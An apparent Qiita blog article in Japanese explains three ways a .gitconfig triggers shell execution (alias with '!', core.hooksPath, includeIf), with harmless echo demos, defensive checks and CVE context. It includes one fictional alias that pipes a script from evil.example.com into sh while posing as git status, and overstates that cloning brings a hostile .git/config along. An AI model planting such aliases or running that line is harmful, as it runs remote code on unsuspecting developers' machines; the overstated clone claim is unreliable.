0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

Git aliasは、あなたの.gitconfigをshell実行に変える3経路

0
Last updated at Posted at 2026-09-01

.gitconfig は設定ファイルなので安全、と思っている人が多い気がします。私も長らくそうでした。

実際は違います。Git alias に ! プレフィックスを付けた瞬間から、.gitconfig は「任意のshellコマンドを実行できる小さなランチャー」に変わります。しかも Git は、system → global → local の3階層で .gitconfig を読みに行くので、そのうちどれか一つに悪意ある alias を差し込まれれば、git status や git commit の隣で echo hack が黙って走ります。

私は今朝、これを実際に手元で発火させました。この記事は、その5分で終わる再現手順を、Git バージョン 2.34.1 上で確認した3経路 × 3攻撃方法 = 9セルとして整理します。悪意ある URL は書かず、無害な echo と touch /tmp/pwned だけで実演します。

Git aliasは、あなたの.gitconfigをshell実行に変える3経路 — alias / hooksPath / includeIf

先に前置きを片付けます。

  • 本記事の別軸: 姉妹記事「あなたのGitHubコミットは誰でも偽装できる」はコミット偽装、「GitHubから消した秘密は消えていない」は削除コミット漏洩、「あなたのCLAUDE.mdはGitHubに公開されています」は .gitignore 漏れ、「HTTPS接続、今すぐやめてください」は HTTPS/SSH、「ssh_config の3つの落とし穴」は SSH設定、「git worktree を図解する」「まだgit checkout使ってるの?」は Git機能解説でした。本記事は、.gitconfig の Git alias が shell コマンドの実行経路になる話 で、いずれとも別軸です
  • 実測は5分未満で完結: 9セルのペイロードは、いずれも git config の1コマンドで発火します。この記事に載せたコマンドはすべて手元で実行し、pwned by ... が出力されることを確認済みです。GitHub の man page (git-config(1)) の該当箇所も引用します

Git 以外の設定ファイルにも通じる、コード実行の一般則

.gitconfig に限らず、以下のファイル形式は「見た目は設定ファイル、実体はコード実行トリガー」であるケースが多いです。

ファイル コード実行経路
.gitconfig alias.xxx = !cmd / core.hooksPath / includeIf
.tool-versions (asdf) プラグインの bin/exec-env が任意コード実行
.envrc (direnv) shell スクリプトそのもの (direnv allow 必要)
.vscode/settings.json terminal.integrated.env.linux 等の環境変数書き換え
.mvn/jvm.config JVM オプションで任意コード実行
Makefile そもそも shell 実行

このうち .envrc は「明示的に direnv allow が要る」設計で防いでいます。.gitconfig は違います。git コマンドを打った瞬間に発火します。ユーザーの承認プロンプトは出ません。

3経路の階層

Git は .gitconfig を3階層で読み、後勝ちで上書きします。

階層 パス 優先度 書き換え権限
system /etc/gitconfig 低 root
global ~/.gitconfig または $XDG_CONFIG_HOME/git/config 中 そのユーザー
local .git/config (リポジトリごと) 高 そのリポジトリを clone した人

厄介なのは local です。悪意ある repo を clone すれば、.git/config はその時点で書き換わっています。fresh clone だから安全、ではありません。.git/config は clone した瞬間から、そのリポジトリの Git 動作を上書きできます。

3攻撃方法

.gitconfig の中に shell 実行を仕込む方法は3種類あります。以下、実際に手元で走らせて確認しました。

方法A: alias に ! プレフィックスを直接注入

これがいちばん素直です。man page (git-config(1)) から引用します。

If the alias expansion is prefixed with an exclamation point, it will be treated as a shell command.

つまりこう書けば発火します。

cd /tmp && rm -rf git-alias-test && mkdir git-alias-test && cd git-alias-test
git init -q
git config alias.pwned '!echo "pwned by alias"'
git pwned
# → pwned by alias

git pwned を打った瞬間に、.git/config に書かれた !echo ... が実行されます。git status を偽装する alias も同じ要領です。

git config alias.status '!echo "pwned via alias" && git status'
git status

以降、そのリポジトリで git status を打つたびに pwned via alias が漏れ出します。ユーザーは自分が git status を叩いたとしか思っていません。

方法B: core.hooksPath で外部hookを指す

Git のhook (post-commit, pre-push など) は、通常 .git/hooks/ に置きます。ここに実行ファイルがあると、対応するイベントで自動的に走ります。

core.hooksPath を書き換えると、hookを リポジトリ外のディレクトリから読み込ませられます。

mkdir -p /tmp/evil-hooks
cat > /tmp/evil-hooks/post-commit <<'EOF'
#!/bin/sh
echo "pwned via hooksPath"
EOF
chmod +x /tmp/evil-hooks/post-commit
git config core.hooksPath /tmp/evil-hooks

echo hi > f.txt
git add f.txt
git -c user.email=a@a -c user.name=a commit -q -m "test"
# → pwned via hooksPath

私は今朝これも実際に発火させ、pwned via hooksPath が commit直後に出ることを確認しました。commit / merge / rebase / push など、hookが定義された全操作が発火経路になります。

方法C: includeIf で外部config を条件マッチで差し込む

これがいちばん見つけにくい経路です。.git/config に、条件付きで別のconfigファイルを include する記述を仕込めます。

cat > /tmp/side-config <<'EOF'
[alias]
  pwn3 = !echo "pwned via includeIf"
EOF

git config --local includeIf."gitdir:/tmp/git-alias-test/".path /tmp/side-config
git pwn3
# → pwned via includeIf

.git/config を単純に見ただけでは、pwn3 という alias がどこにも定義されていないように見えます。実体は /tmp/side-config にあります。攻撃者は .git/config に includeIf を1行差し込むだけで、リポジトリの外にペイロードを置けます。gitdir / onbranch / hasconfig:remote.*.url など複数の条件でマッチさせられるため、「特定ブランチに切り替えたときだけ発火する」ような仕込みも可能です。

3経路 × 3攻撃方法 の9セル

書き込み権限別に整理します。

経路 \ 攻撃 A. alias 直接 B. hooksPath C. includeIf
system (/etc/gitconfig) root必要。全ユーザーに波及 同左 同左
global (~/.gitconfig) そのユーザーのGit操作すべてに波及 同左 同左
local (.git/config) 悪意ある repo を clone した瞬間から波及 同左 同左

全9セル、いずれも git config の1コマンドで書き込めて、次の git <alias> または git commit で発火します。パッチを当てる必要も、コンパイルする必要もありません。

「悪意ある repo を clone した瞬間」に効くのは local 行 (中段) です。以下のような repo が公開されていたら、git clone するだけでその後の Git 操作が汚染されます。

# 悪意ある repo の .git/config (架空の例)
[alias]
  status = !curl -sSL evil.example.com/collect.sh | sh; git status

普段どおり git status を叩くと、まず curl | sh が走って、それから正しい git status の出力が返ってきます。ユーザーは何も気付きません。

対策側で今できること

層 対策 効果
clone 前 git clone --template=/dev/null <url> でhook を無効化 template hook を無効化。alias/includeIf には効かない
clone 直後 .git/config を目視。特に alias. / core.hooksPath / includeIf. を確認 3攻撃方法すべてを検知可能
clone 直後 git config --list --show-origin で、値の出所を追跡 includeIf で読み込まれる外部configまで追跡可能
運用時 信頼できない repo は、専用の隔離ディレクトリで -c core.hooksPath=/dev/null を付けて操作 hook経路だけ塞ぐ
運用時 ~/.gitconfig に自分の alias を書くとき、! を使う場合は絶対パスでスクリプトを指す 環境依存を減らし、後で目視しやすい

私は clone した直後に git config --list --show-origin | grep -E "(alias\.|hooksPath|includeIf)" を打つ習慣にしました。3秒で終わるチェックですが、これで local .git/config に仕込まれたペイロードの大半は炙り出せます。この習慣を身につける前は「clone後にまず ls しがち」だったので、正直言って .git/config の中身をまじまじと見たことがない日々を長く過ごしていました。

Q: CVE-2024-32002 / CVE-2025-48384 との違い

読者から質問がありそうなので、既知CVEとの関係を書きます。

  • CVE-2024-32002 (2024年): submodule 経由で clone 中に hook が走る脆弱性。Git本体のバグでした。修正済み
  • CVE-2025-48384 (2025年): .gitmodules の control character の read/write mismatch により、悪意ある hook を書き込める脆弱性。CISA の KEV Catalog 入り。修正済み

本記事の3経路 (alias / hooksPath / includeIf) は、Git本体のバグではなく、仕様通りの機能です。CVEにも登録されません。man page に書かれていない挙動ではなく、書かれている挙動を組み合わせて使うだけです。

つまり、Git を最新版にしても消えません。人力で .git/config を見るか、自動チェックスクリプトを回すか、どちらかしか防御手段がありません。

まとめ

  • Git alias に ! プレフィックスを付けると、そのalias は shell コマンドとして実行される (man page記載の仕様)
  • shell 実行を仕込む経路は3攻撃方法: alias 直接注入 / core.hooksPath で外部hookを指す / includeIf で外部configを差し込む
  • Git は .gitconfig を3階層で読む: system / global / local。local は clone した瞬間から発火する
  • 全9セル (3経路 × 3攻撃方法) いずれも git config の1コマンドで書き込め、次の git <alias> / git commit で発火する
  • Git本体のCVEではないので、Git を更新しても消えない。人力で .git/config を確認するしかない
  • 実務では git config --list --show-origin | grep -E "(alias\.|hooksPath|includeIf)" を clone直後に打つ

.gitconfig は設定ファイルではなく、shell を呼べる小さなランチャー だと思ったほうが実態に合っています。仕様通りに動いているだけなので、直る見込みはありません。


MCP tool description の Prompt Injection や、.env が Dockerイメージに焼き込まれる話、.gitconfig の shell 実行経路など、「開発者の日常ツールが攻撃面になる」パターンをまとめた書籍を書きました。実装コードから配布物、CI/CD、CLIプラグインまで、コード実行トリガーになる場所を系統的に整理しています。

MCPセキュリティ実践ガイド

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?